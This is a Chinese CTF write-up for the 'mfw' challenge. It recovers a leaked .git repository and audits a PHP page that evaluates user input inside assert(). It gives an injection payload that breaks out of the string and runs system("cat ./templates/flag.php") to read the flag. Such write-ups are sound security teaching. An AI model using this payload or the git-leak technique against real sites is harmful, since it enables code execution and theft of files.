mfw-攻防世界

发布于:2024-04-08 ⋅ 阅读:(109) ⋅ 点赞:(0)

题目

 

 点击about发现Git感觉是Git泄露

直接访问.git

 本来用githack去扒源码但是成功了没文件一脸懵,

后面换一个工具githacker注意二个之间有区别

githack和githacker

 

然后去结果里查看文件

 

发现flag文件但是

没什么用

 <?php
// TODO
// $FLAG = '';
?>

然后查看index.php文件

 

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="utf-8">
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width, initial-scale=1">

                <title>My PHP Website</title>

                <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
        </head>
        <body>
                <nav class="navbar navbar-inverse navbar-fixed-top">
                        <div class="container">
                        <div class="navbar-header">
                                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                                <span class="sr-only">Toggle navigation</span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                </button>
                                <a class="navbar-brand" href="#">Project name</a>
                        </div>
                        <div id="navbar" class="collapse navbar-collapse">
                                <ul class="nav navbar-nav">
                                <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                                <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                                <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                                                <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                                </ul>
                        </div>
                    </div>
                </nav>

                <div class="container" style="margin-top: 50px">
                        <?php
                                require_once $file;
                        ?>

                </div>

                <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
                <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
        </body>
</html>

 

代码审计启动主要的是下面的php代码,再下面是html没什么看的

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
 

if (isset($_GET['page'])) { 

这行检查是否通过 GET 方法从 URL 中接收到了名为 'page' 的参数。 

isset() 是 PHP 中的一个内置函数,用于检测变量是否已设置并且非 NULL。如果变量存在并且不为 NULL,则 isset() 返回 true,否则返回 false

这个函数在 PHP 编程中非常有用,特别是当你需要检查一个变量是否已经赋值或者是否已经通过表单、GET 或 POST 请求等方式设置时。

 $page = $_GET['page'];

 如果 'page' 参数存在,则将其值赋给 $page 变量

} else {

$page = "home"; 

 如果 'page' 参数不存在,将 $page 变量的值设置为 "home"

$file = "templates/" . $page . ".php";

这行创建了一个字符串 $file,它由 "templates/"、$page 变量的值和 ".php" 组成。这表示它将根据 $page 的值来确定要加载哪个模板文件。

// I heard '..' is dangerous! 

这是一个注释,提醒开发者 '..' 在文件路径中可能是危险的,因为它可能允许目录遍历攻击。 

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); 

 这行使用 assert 函数来检查 $file 字符串中是否包含 '..'。如果包含,strpos 函数会返回该子串的位置,否则返回 false。如果返回的位置不是 false,则 assert 函数会失败,并执行 or 后面的 die 函数,输出 "Detected hacking attempt!" 并终止脚本执行。

在 PHP 中,assert() 函数用于在代码中执行断言。断言是一种编程约定,用于验证某个条件是否为真。如果条件为真,则 assert() 函数不会有任何效果;如果条件为假,则 assert() 会根据当前的断言处理方式(可以通过 assert_options() 设置)来执行不同的操作,这通常包括显示一个警告或错误消息,甚至终止脚本的执行。

assert() 函数通常用于开发和调试阶段,以确保代码按预期运行。在生产环境中,为了提高性能,通常会将断言禁用,因为每次断言都需要检查一个条件,这可能会带来额外的开销。

在 PHP 中,strpos() 函数用于查找一个字符串在另一个字符串中首次出现的位置。如果找到该字符串,它会返回该字符串在另一个字符串中第一次出现的位置(基于 0 的索引),如果没有找到,则返回 false

语法

strpos(string $haystack, mixed $needle, int $offset = 0): int|false 

  • $haystack 是要被搜索的字符串。
  • $needle 是需要查找的字符串或字符。
  • $offset (可选参数)指定从哪里开始搜索

// TODO: Make this look nice 

这是一个注释,表示接下来的代码可能需要优化或改进,使其看起来更整洁或更易于理解。 

assert("file_exists('$file')") or die("That file doesn't exist!"); 

这行使用 assert 函数来检查 $file 指定的文件是否存在。file_exists 函数会检查文件或目录是否存在。如果不存在,assert 函数会失败,并执行 or 后面的 die 函数,输出 "That file doesn't exist!" 并终止脚本执行

在 PHP 中,file_exists() 函数用于检查一个文件或目录是否存在。如果文件或目录存在,函数返回 true,否则返回 false

语法

 file_exists(string $filename): bool

其中 $filename 是要检查的文件或目录的路径。

使用 file_exists() 可以帮助开发者在尝试读取、写入或执行文件之前确认文件或目录是否确实存在,从而避免因为文件不存在而导致的错误或异常。

 

assert函数的命令执行漏洞原理:当assert()内的参数为字符串是,那个字符串会被当成php函数执行

php语句结尾需要有分号

构造playload

/?page=').system("cat ./templates/flag.php");// 

访问 

 

源代码中发现flag

 


网站公告

今日签到

点亮在社区的每一天
去签到